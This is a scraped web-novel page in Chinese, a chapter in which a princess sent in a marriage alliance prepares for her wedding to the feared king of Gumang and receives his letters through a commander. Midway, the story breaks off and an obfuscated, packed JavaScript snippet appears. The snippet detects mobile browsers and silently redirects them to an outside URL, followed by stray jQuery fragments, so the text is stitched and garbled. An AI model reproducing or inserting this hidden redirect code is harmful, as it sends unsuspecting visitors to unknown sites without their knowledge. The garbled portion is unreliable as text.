备婚的时日枯燥且无趣。
当下的花韵之虽忙碌,但除去吃饭睡觉,日日都是换婚服,选头面,换婚服,选头面……似乎全然没有别的事可做。
“公主,我们不可以出去走走吗?”
鹊枝也觉得无趣。
她扶着椅子扶手,蹲在花韵之身边,小声嘟囔:“往日在大梁也不至于此呀。”
鬓边的流苏轻晃,花韵之似有些无奈地垂眸,抬手轻抚了抚鹊枝的脑袋:“但这里不是大梁。”
这里不是他的家。
但,或许是知晓公主的生活无趣,在花韵之入住孤邙皇宫的第七日,一个意外来客叩响了他的房门。
“完颜万夫长?”
鹊枝愣了愣。
完颜陌眉眼弯弯。而鹊枝似是意识到什么,眼睛悄悄亮了一下:“完颜万夫长可是来寻公主的?”
完颜陌颔首:“不错。”
他负着手,向内走了几步,又倒回来:“公主可在?”
不待鹊枝点头,紧闭的屋门便缓缓开启。披着大氅花韵之高挑瘦削,如扶风弱柳,静静立在屋门内,注视着风雪中的完颜陌。
“完颜万夫长。”
花韵之微微颔首:“许久未见。”
眉尾稍扬,完颜陌笑起,却不紧不慢地上前:“如何是许久未见?公主,我们不是七日前刚见过吗?”
这话说的有些轻佻,花韵之没有作答,而是直接道:“完颜万夫长寻我,是有何事。”
完颜陌唇边带笑,却端的一副一本正经:“自然是有要紧事。”
轻轻看了完颜陌一眼,花韵之没有再说些什么,而是直接引着完颜陌去往会客厅。
低笑一声,完颜陌不远不近的跟着花韵之的步伐,甚至饶有兴致地寻觅着花韵之的足迹,好似坠在兔子后的狐狸。
公主寝宫的会客厅很大。
但注视着几乎落满会客厅所有博古架的宝物,完颜陌似乎顿了顿。无声扫过那些来自五湖四海的宝物,他的神情变得有些难以言喻。可完颜陌终是一言不发,只老老实实地入了座。
“完颜万夫长有何事?”
轻缓的声音唤回了完颜陌的思绪,他抬眸看向公主,勾了勾唇角:“有什么事?”
支着下巴,完颜陌笑眯眯道:“公主,孤邙后宫如大梁一般,亦不许外男进入。能让我进后宫的人,自然只有我们敬爱的王上。”
“所以我来寻公主,当然与王上有关。”
孤邙王……
这是意料之内的答案,花韵之的心脏却依旧落了几拍。蜜棕色的眸子浮上几分清浅的、不易明辨的情绪,花韵之微抿红唇,淡声开口:“所以,万夫长究竟有何事?”
完颜陌笑而不语,只垂首在腰间掏了掏,一股脑掏出一大堆信。
“嗯。”他抬了抬下巴,那双灰蓝色的眼睛微微眯起:“王上言婚前不宜与公主相见,于是托我——来为公主送信。不过,我们尊敬的王上一向不善言辞,写的信大抵也没什么情话。公主想看吗?”
花韵之低垂眼帘。而完颜陌自顾自开口:“若是不想看,我可以替公主送回去。”
——送回去?
本还在思索该如何作答的公主愣住。
对于这些信,完颜陌的态度令花韵之始料未及,而退回孤邙王信件所言更是让他不可避免的感到愕然。
“送回去?”
花韵之不禁反问。
完颜陌似也意识到自己一时的冒进与失语,沉默半晌,才缓缓牵起唇角,露出一个灿烂的笑容。
“怎么了?公主。”
花韵之不语。
完颜陌难得为自己找补:“公主,我没有别的意思,只是认为心意相通的信件才对人有价值……公主这样看着我做什么?”
顶着花韵之怪异的目光,完颜陌似有些无奈地弯了弯眼睛,轻声道:“公主当下与王上初相识,应还不熟悉王上,更不会爱王上。但我想,王上大抵是很愿意与公主心意相通的。而且王上他……我知中原人不喜欢他,但王上人还是挺不错的。”
静静注视着完颜陌,公主的指尖微微收紧。
“就比如,额……”完颜陌绞尽脑汁:“对于信任的人,王上一向很宽容,从不会因为一些小玩笑生气。当然,他更不会生公主的气,公主其实不必怕他。公主若对他笑一笑,我们这些下属也能难得落个王上的好脸色。”
从未说过自己怕孤邙王的花韵之:“……”
看着东拉西扯,抓耳挠腮试图再想出几个孤邙王优点的完颜陌,花韵之轻轻开口,翻过此篇:“妾何时说过,妾怕王上了吗?”
完颜陌:“……”
完颜陌扯了扯唇角:“公主,我瞎想的。”
虽然确实惧怕孤邙王,但并不希望这个消息传出去,更不希望传入孤邙王耳中的花韵之垂下眼帘。
而完颜陌扫了一眼那几封信,又似乎是看到什么晦气一般避之不及的快速移开了目光,随后笑看向花韵之:“公主,既然信与心意已送到,那我就先不打扰了。过几日大婚,我会来喝公主的喜酒。”
花韵之没有否认喜酒一词,他微微颔首应下,道了句:“万夫长,一路顺风。”
完颜陌很快离开了。
而他留下的那几封信落在桌上,花韵之沉吟片刻,终是缓步上前,从其中挑选一封开启。
【见字如晤。】
孤邙王的字迹是与他锋利容貌相似的锐气肆意。
但或许是刻意收敛过,信上的字迹虽张扬却不狂放,看上去亦不凌乱,倒也算得上美观。
展开信纸,花韵之寸寸看下去。
一如完颜陌所言,孤邙王的信中并未有什么情话。当然,花韵之也不想在孤邙王笔下看到送给他的情话。
信不长,信纸也不长,孤邙王所写下的一切更是点到即止。与肆意的字迹截然相反,信纸上的内容似涓涓细水长流。
花韵之并不厌恶这样的内敛。
他亦不是外放之人,花韵之的性情较比孤邙王甚至有过之而无不及。内敛的公主虽在规矩中长的大方得体,不会畏惧汹涌的海浪,却也天然亲近同样内敛的小溪流水。
只是,这个小溪流水是孤邙王。
花韵之的指尖蜷起。
平心而论,花韵之是畏惧孤邙王的。
……独孤朔。
孤邙王。
他是孤邙大胜大梁的主将,也是儒生口中的逆臣。京中关于他的传言很多,他们说他青面獠牙,说他嗜血嗜杀,又说他将老王上留下的妃嫔统统做了处理,怕会活剥了和亲去的公主。
花韵之从始至终都不信这些,但他也对这位新王抱有深深的恐惧。
……弑父杀兄。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871142|176203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
天家无真情,花韵之虽远离权力漩涡,却也并不厌恶这样的举措。
但,纵使古往今来,皇位总要流血。花韵之也不敢想究竟是怎样坚定的心性,才能做到有条不紊的布局,在谋反乱战中模仿曾经的冒顿单于鸣镝弑父,亲自杀死自己的父亲与所有兄长,真正踩着他们的血肉与尸骨登上那血淋淋的王座。
有野心,有手段,有决心,并不是一件坏事。
正相反,纵观史书,这样果决果敢的人只要没有过分贪图享乐,过分蔑视生命,都会成为一个优秀的首领。
花韵之清楚这一切。
可身为对方征伐的战利品,敌国君主所献出的妃嫔,花韵之却由衷的畏惧这样的丈夫,这样的王上。
……花韵之不知道,孤邙王究竟将他视作怎样的存在。亦不知道孤邙王当下的温情又是否是假象,他若信了这份温暖,是否会落到万劫不复的下场。
他能亲近孤邙王吗?
……
嫁到异国他乡的和亲公主,都需要改汉为胡。
幸而,孤邙虽是异族,却也是受历代中原王朝光芒普照的异族。所以在某些风俗上,孤邙与大梁不说截然相同,也可以说极为相似。
因此,花韵之学习的很快。
虽然学习孤邙话依旧困难,但会官话的教习嬷嬷也不指望花韵之在短短不到一月的光阴里熟习孤邙话。他们王上精通大梁官话,与公主交流不成问题,所以嬷嬷只教了花韵之些婚礼用得到的,和或许用得到的。
至于旁的……无论是孤邙礼仪还是衣装,花韵之都接纳的很好。此时,一袭孤邙红婚服的公主坐在铜镜前,任由侍女为他装点。
“公主当真是好看。”
生涩的大梁官话吐出,孤邙侍女竭尽所能的夸赞着公主的容颜。鹊枝听的眉眼弯弯,恨不得孤邙侍女再多夸些,花韵之却只注视着铜镜中的有些陌生的自己,温婉笑着。
孤邙女子的装扮一如大梁,多是在前朝女子扮相上加以改造。红裙勾勒出公主窈窕的身形,裙上充满异族气息的喜服纹样又为公主添上几分别样的风情。配上孤邙独特的面妆,花韵之几乎都要认不出自己。
“公主当真是适合这幅装扮。”
孤邙侍女赞不绝口,而花韵之轻轻笑着,垂下了眼。
孤邙王为花韵之准备的婚服与头面很多,且都很华丽,若每日一套几乎可以换上几月光阴。
幸而,花韵之很快便选择出了自己偏好的那一套。而自那以后,孤邙王也没有再送来婚服与首饰。
虽并无与孤邙王直接交流的渠道,但清楚自己身边除去鹊枝的每一人都是孤邙王耳目的花韵之并未说些什么。早已习惯深宫生活的公主并不会对此怨怼,孤邙王在他身边安置眼线更不会让公主不安。
或者说,若是孤邙王不在他身边安插人,不在新婚这样紧要的关头注视着他的一举一动,花韵之反而会不安。
不被皇帝关注的后妃,只有惨死一个下场。
花韵之不想被过多关注,却也不想被彻底不关注。
他需要孤邙王的注视。
……
光阴如梭。
这是场早已筹备的婚礼。因而,似乎只是转眼间,一月光阴便流逝的彻底。属于北地的春遥遥无期,孤邙的冰雪也尚未融化。
冷寂的黑水城却似乎热闹了起来。